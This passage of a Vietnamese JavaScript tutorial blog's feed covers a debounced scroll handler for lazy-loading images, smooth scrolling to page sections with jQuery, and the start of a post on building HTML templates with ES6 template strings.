punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"scroll"</span><span class="token punctuation">,</span> <span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">if</span> <span class="token punctuation">(</span>debounceTimer<span class="token punctuation">)</span> <span class="token punctuation">{</span> window<span class="token punctuation">.</span><span class="token function">clearTimeout</span><span class="token punctuation">(</span>debounceTimer<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> debounceTimer <span class="token operator">=</span> window<span class="token punctuation">.</span><span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token function">handleScroll</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">100</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý</strong>: trong phần đăng ký sự kiện <em>scroll</em> mình có sử dụng thêm <em>setTimeout</em> để nâng cao performance cho trang web. Nghĩa là việc xử lý <em>handleScroll</em> sẽ được thực hiện sau khi người dùng scroll màn hình xong khoảng <em>100 ms</em>.</p> <p>Nếu không cần quan tâm đến performance thì bạn chỉ cần viết ngắn gọn là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">window<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"scroll"</span><span class="token punctuation">,</span> handleScroll<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h2 id="demo" style="position:relative;"><a href="#demo" aria-label="demo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo</h2> <p>Bạn có thể xem code đầy đủ và demo tại đây:</p> <a href="https://github.com/completejavascript/lazy-loading-image-es6-css-demo" class="btn btn-primary margin-bottom"> Xem code trên Github </a> <a href="http://about.phamvanlam.com/lazy-loading-image-es6-css-demo" class="btn btn-primary margin-bottom"> Xem Demo </a> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây là cách mình triển khai Lazy Loading Image với ES6 và CSS. Nhìn chung, mình thấy cách này không khác nhiều so với cách sử dụng React. Nếu bạn có thắc mắc hay góp ý gì thì có thể hỏi mình bằng cách để lại trong phần bình luận phía dưới.</p> <p>Còn bây giờ thì xin chào và hẹn gặp lại trong <a href="/chuyen-anh-dong-gif-thanh-video/">bài viết tiếp theo</a>, thân ái!</p>[email protected]<![CDATA[Smooth Scrolling trang web với jQuery]]><![CDATA[Đối với các trang web dạng Landing Page, việc di chuyển giữa các mục trên trang là chắc chắn phải có. Tuy nhiên làm sao để hoạt động này diễn ra mượt và tự nhiên nhất. Bài viết này…]]>https://completejavascript.com/smooth-scrolling-trang-web-voi-jquery/https://completejavascript.com/smooth-scrolling-trang-web-voi-jquery/<![CDATA[Event]]><![CDATA[HTML]]><![CDATA[jQuery]]>Fri, 16 Mar 2018 08:00:21 GMT<p>Đối với các trang web dạng Landing Page, việc di chuyển giữa các mục trên trang là chắc chắn phải có. Tuy nhiên làm sao để hoạt động này diễn ra mượt và tự nhiên nhất. Bài viết này sẽ hướng dẫn bạn một cách đơn giản mà hiệu quả để có thể smooth scrolling trang web với jQuery.</p> <h2 id="demo" style="position:relative;"><a href="#demo" aria-label="demo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Demo</h2> <p>Dưới đây là một ví dụ demo. Bạn có thể nhấn thử vào các button <strong>section 1</strong>, <strong>section 2</strong> và <strong>section 3</strong> để thấy sự chuyển động mượt mà của nó.</p> <p><a href="https://codepen.io/completejavascript/pen/MVyPqr"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/MVyPqr/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <h2 id="cấu-trúc-trang-web-với-html" style="position:relative;"><a href="#c%E1%BA%A5u-tr%C3%BAc-trang-web-v%E1%BB%9Bi-html" aria-label="cấu trúc trang web với html permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Cấu trúc trang web với HTML</h2> <p>Để có thể di chuyển đến các mục khác nhau trên trang web, mỗi mục bạn cần phải xác định một id cho nó. Trong ví dụ trên, mình có 3 mục với 3 id lần lượt là: <strong>sec1</strong>, <strong>sec2</strong>, <strong>sec3</strong>.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>sec1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>This is section 1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>sec2<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>This is section 2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>sec3<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>This is section 3<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Tiếp theo là thanh menu (hay navigation), cho phép người dùng lựa chọn sẽ di chuyển tới đâu.</p> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>nav<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#sec1<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Section1<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#sec2<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Section2<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>a</span> <span class="token attr-name">href</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#sec3<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>Section3<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>a</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span></code></pre></div> <p>Ở đây, mình sử dụng thẻ <strong>a</strong> với thuộc tính <strong>href</strong> là id của mỗi phần tương ứng.</p> <h2 id="smooth-scrolling-trang-web-với-jquery" style="position:relative;"><a href="#smooth-scrolling-trang-web-v%E1%BB%9Bi-jquery" aria-label="smooth scrolling trang web với jquery permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Smooth Scrolling trang web với jQuery</h2> <p>Mặc định, khi người dùng nhấn vào thẻ a thì trang web sẽ nhảy đến vị trí có địa chỉ xác định trong thẻ href. Vì vậy, để có thể smooth scrolling trang web, bạn cần phải bắt sự kiện khi người dùng nhấn thẻ a vào và chặn lại <a href="/xu-ly-mot-event-javascript-co-ban/">event</a> mặc định.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"a[href*='#']:not([href='#])"</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">click</span><span class="token punctuation">(</span><span class="token keyword">function</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> target <span class="token operator">=</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">attr</span><span class="token punctuation">(</span><span class="token string">"href"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">$</span><span class="token punctuation">(</span><span class="token string">"html,body"</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">stop</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">.</span><span class="token function">animate</span><span class="token punctuation">(</span> <span class="token punctuation">{</span> <span class="token literal-property property">scrollTop</span><span class="token operator">:</span> <span class="token function">$</span><span class="token punctuation">(</span>target<span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">offset</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span>top<span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token number">1000</span> <span class="token punctuation">)</span><span class="token punctuation">;</span> event<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó, đoạn code <em><em>$("a[href</em>='#']:not([href='#])")</em>* ý nghĩa là: lấy ra các thẻ a, với giá trị của thuộc tính href bắt đầu bằng <strong>#</strong> mà không phải là <strong>#</strong> (đôi khi người ta hay sử dụng <strong>&#x3C;a href="#">&#x3C;/a></strong> để biểu diễn việc link đến chính trang web hiện tại).</p> <p>Để chặn việc thực hiện các hoạt động mặc định, bạn có thể sử dụng phương thức preventDefault:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">event<span class="token punctuation">.</span><span class="token function">preventDefault</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tiếp theo, sử dụng jQuery để xác định đích đến - chính là id của section đó, hay giá trị của thẻ href. Khi đã có target rồi, bây giờ bạn chỉ cần thêm animation vào thông qua phương thức <a href="http://api.jquery.com/animate/">animate</a> như trên.</p> <p>Một điều lạ là ở trên, mình có sử dụng phương thức <strong>stop</strong>. Tại sao vậy?</p> <p>Vì đôi khi người dùng sẽ nhấn liên tục các button section1, section2, section3. Khi đó, trang web sẽ scroll lần lượt đến từng mục. Điều này là không cần thiết. Thực tế, bạn chỉ cần thực hiện lệnh cuối cùng và bỏ qua các câu lệnh phía trên. Đó là lí do mình sử dụng phương thức stop.</p> <p>Như vậy, phần thêm animation trên có thể diễn giải thành lời là: chỉ thực hiện event cuối cùng trong chuỗi event liên tiếp; di chuyển (html, body) đến vị trí có top là giá trị top của target; hoạt động này diễn ra trong 1 giây.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là cách mà mình sử dụng để triển khai smooth scrolling trên trang web. Hy vọng nó hữu ích với bạn.</p> <p>Xin chào và hẹn gặp lại trong <a href="/xmlhttprequest-voi-promise-javascript/">bài viết tiếp theo</a>, thân ái!</p> <h2 id="tham-khảo" style="position:relative;"><a href="#tham-kh%E1%BA%A3o" aria-label="tham khảo permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham khảo</h2> <ul> <li><a href="https://css-tricks.com/snippets/jquery/smooth-scrolling/">Smooth Scrolling</a></li> </ul>[email protected]<![CDATA[HTML template với template string]]><![CDATA[Như bạn đã biết, ES6 template string có rất nhiều tính năng hay ho. Một trong số đó là việc xây dựng html template với template string. 💡 Một số bài viết liên quan đến việc xây…]]>https://completejavascript.com/html-template-voi-template-string/https://completejavascript.com/html-template-voi-template-string/<![CDATA[ES6]]><![CDATA[HTML]]><![CDATA[Template]]><![CDATA[String]]>Thu, 15 Mar 2018 08:00:00 GMT<p>Như bạn đã biết, <a href="/su-dung-es6-template-string-co-gi-hay/">ES6 template string</a> có rất nhiều tính năng hay ho. Một trong số đó là việc xây dựng <strong>html template với template string</strong>.</p> <blockquote> <p>💡 Một số bài viết liên quan đến việc <strong>xây dựng HTML template</strong>:</p> <ul> <li><a href="/html-string-sang-dom-node-voi-domparser/">HTML String sang DOM Node với DOMParser</a></li> <li><a href="/chuyen-html-template-sang-dom-node/">HTML Template sang DOM Node</a></li> <li><a href="/mustache-template-voi-jquery/">Mustache Template với jQuery</a></li> </ul> </blockquote> <p><strong>Liệu mình có thể xây dựng một thư viện về HTML template tương đương như <a href="https://github.com/janl/mustache.js/">Mustache.js</a> hay <a href="https://handlebarsjs.com/">Handlebars.js</a> không?</strong></p> <p>Cũng có thể, nhưng cái gì cũng có ưu, nhược điểm của nó. Việc tự xây dựng HTML template với template string:</p> <ul> <li><strong>Ưu điểm</strong>: không cần phải sử dụng thư viện bên thứ ba.</li> <li><strong>Nhược điểm</strong>: bạn phải quản lý code nhiều hơn và có thể <strong>đẻ</strong> ra nhiều lỗi.</li> </ul> <p><strong>Vậy cách này chỉ nên áp dụng khi nào?</strong></p> <p>Theo mình, việc tự xây dựng HTML template với template string chỉ nên áp dụng với <strong>những ứng dụng đơn giản</strong>.</p> <p>Ngược lại, với những ứng dụng phức tạp, bạn nên dùng <strong>thư viện có sẵn, tốt, phổ biến</strong> cho nhanh và an toàn.</p> <p>Nhưng dù sao, mình thử xem xây dựng HTML template với template string sẽ như thế nào nhé!</p> <h2 id="bài-toán-về-html-template-với-template-string" style="position:relative;"><a href="#b%C3%A0i-to%C3%A1n-v%E1%BB%81-html-template-v%E1%BB%9Bi-template-string" aria-label="bài toán về html template với template string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài toán về HTML template với template string</h2> <p>Trước khi bắt đầu, mình nghĩ nên đưa ra một bài toán ví dụ để áp dụng. Và như đã nói ở trên, mình có viết <strong>ba bài về chủ đề này rồi</strong>.</p> <p>Do đó, mình sẽ lấy lại một ví dụ trong đấy để bạn dễ dàng so sánh. Và đó là bài viết <strong><a href="/chuyen-html-template-sang-dom-node/">HTML Template sang DOM Node</a>:</strong></p> <p><a href="https://codepen.io/completejavascript/pen/MVyXyp"><div><iframe height='500' scrolling='no' src='//codepen.io/completejavascript/embed/preview/MVyXyp/?height=500&theme-id=dark&default-tab=html,result' frameborder='no' allowtransparency='true' allowfullscreen='true' style='width: 100%;'></iframe></div></a></p> <p>Bạn có thể đọc lại bài viết đó để hiểu rõ hơn. Nhưng tóm gọn lại, bài toán này nhằm <strong>xây dựng template để hiển thị mục bình luận</strong> với dữ liệu được cung cấp dưới dạng <a href="/array-la-gi-array-trong-javascript/">mảng</a>.</p> <p>Trong bài đó, mình sử dụng thẻ <a href="https://developer.mozilla.org/en/docs/Web/HTML/Element/template"><code>template</code></a> của HTML để khai báo <strong>HTML template</strong>:</p> <div class="gatsby-code-title gatsby-remark-code-title">index.html</div> <div class="gatsby-highlight" data-language="html"><pre class="language-html"><code class="language-html"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>template</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>my-temp<span class="token punctuation">"</span></span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>name<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>a name<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>span</span> <span class="token attr-name">class</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>comment<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>a comment<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>span</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>div</span><span class="token punctuation">></span></span> <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>template</span><span class="token punctuation">></span></span></code></pre></div> <p>Kết quả của phương pháp này ta thu được <a href="https://developer.mozilla.org/en-US/docs/Web/API/DocumentFragment"><code>DocumentFragment</code></a>. Sau đó, mình dùng phương thức <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelector"><code>querySelector</code></a> để tìm và cập nhật DOM để thu được giá trị như mong muốn.</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> data <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"That is great"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"It's helpful"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"David"</span><span class="token punctuation">,</span> <span class="token literal-property property">comment</span><span class="token operator">:</span> <span class="token string">"Thanks a lot"</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">;</span> btnAdd<span class="token punctuation">.</span><span class="token function">addEventListener</span><span class="token punctuation">(</span><span class="token string">"click"</span><span class="token punctuation">,</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> data<span class="token punctuation">.</span><span class="token function">forEach</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">item</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">let</span> tmpl <span class="token operator">=</span> templateFrag<span class="token punctuation">.</span><span class="token function">cloneNode</span><span class="token punctuation">(</span><span class="token boolean">true</span><span class="token punctuation">)</span><span class="token punctuation">;</span> tmpl<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".name"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerText <span class="token operator">=</span> item<span class="token punctuation">.</span>name<span class="token punctuation">;</span> tmpl<span class="token punctuation">.</span><span class="token function">querySelector</span><span class="token punctuation">(</span><span class="token string">".comment"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>innerText <span class="token operator">=</span> item<span class="token punctuation">.</span>comment<span class="token punctuation">;</span> container<span class="token punctuation">.</span><span class="token function">appendChild</span><span class="token punctuation">(</span>tmpl<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Tóm tắt lại như vậy thôi, sau đây mình sẽ <strong>sử dụng ES6 Template String</strong> vào bài toán này.</p> <h2 id="sử-dụng-es6-template-string-giải-quyết-bài-toán" style="position:relative;"><a href="#s%E1%BB%AD-d%E1%BB%A5ng-es6-template-string-gi%E1%BA%A3i-quy%E1%BA%BFt-b%C3%A0i-to%C3%A1n" aria-label="sử dụng es6 template string giải quyết bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Sử dụng ES6 Template String giải quyết bài toán</h2> <p>Sau đây là cách mình xây dựng HTML template với template string.</p> <h3 id="định-nghĩa-template" style="position:relative;"><a href="#%C4%91%E1%BB%8Bnh-ngh%C4%A9a-template" aria-label="định nghĩa template permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Định nghĩa Template</h3> <p>Để định nghĩa template, mình cần bê đoạn code về <code>template</code> ở <code>index.html</code> trên về file <code>main.js</code>.</p> <p>Mình cần thay thế <code>a name</code> và <code>a comment</code> thành giá trị thực tế được định nghĩa trong mảng <code>data</code>. Vì vậy, mình đưa 2 phần này vào template string.</p> <p>Khi đó, HTML template có dạng như sau:</p> <div class="gatsby-code-title gatsby-remark-code-title">main.js</div> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">itemTemplate</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">data</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string"> &lt;div> &lt;span class="name"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>data<span class="token punctuation">.</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/span> &lt;/div> &lt;div> &lt;span class="comment"></span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>data<span class="token punctuation">.</span>comment<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">&lt;/span> &lt;/div> </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Cách định nghĩa này <strong>rất giống với Mustache.js</strong>, chỉ khác ở chỗ là:</p> <ul> <li>Mustache sử dụng cặp dấu <code>{{}}</code> để biểu diễn <strong>expression</strong>, ví dụ: <code>{{data.name}}</code></li> <li>Mustache khai báo template trong <strong>thẻ script</strong> nằm ở file html.</li> </ul> <p>Điều đó nghĩa là: mình hoàn toàn có thể sử dụng Template String tương tự như cách sử dụng của Mustache.js.</p> <p>Mình sẽ chứng minh điều này trong các phần phía dưới. Còn bây giờ, mình sẽ tìm hiểu xem <strong>cách render template</strong> này lên giao diện như thế nào?</p> <h4 id="render-template-lên-html" style="position:relative;"><a href="#render-template-l%C3%AAn-html" aria-label="render template lên html permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 